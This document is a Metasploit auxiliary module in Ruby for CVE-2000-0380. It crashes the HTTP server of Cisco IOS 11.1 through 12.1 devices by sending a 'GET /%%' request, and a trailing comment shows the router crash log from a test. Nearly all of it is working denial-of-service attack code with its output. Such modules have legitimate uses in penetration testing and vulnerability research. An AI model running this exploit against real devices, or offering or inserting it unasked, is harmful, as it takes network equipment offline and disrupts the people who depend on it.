This Metasploit module triggers a Denial of Service condition in the Cisco IOS HTTP server. By sending a GET request for "/%%", the device becomes unresponsive. IOS 11.1 through 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',
'Description' => %q{
This module triggers a Denial of Service condition in the Cisco IOS
HTTP server. By sending a GET request for "/%%", the device becomes
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '1154'],
[ 'CVE', '2000-0380'],
[ 'OSVDB', '1302' ],
],
'DisclosureDate' => '2000-04-26'))
register_options(
[
Opt::RPORT(80),
])
end
def run
connect
print_status("Sending HTTP DoS packet")
sploit = "GET /%% HTTP/1.0"
sock.put(sploit + "\r\n")
disconnect
end
end
=begin
Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P
IOS info:
IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1999 by cisco Systems, Inc.
Compiled Mon 12-Apr-99 14:53 by ashah
Example crash:
%Software-forced reload
Preparing to dump core...
Router>
*Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server
-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E
Queued messages:
*** EXCEPTION ***
software forced crash
program counter = 0x80eaca6
status register = 0x2700
vbr at time of exception = 0x4000000
=end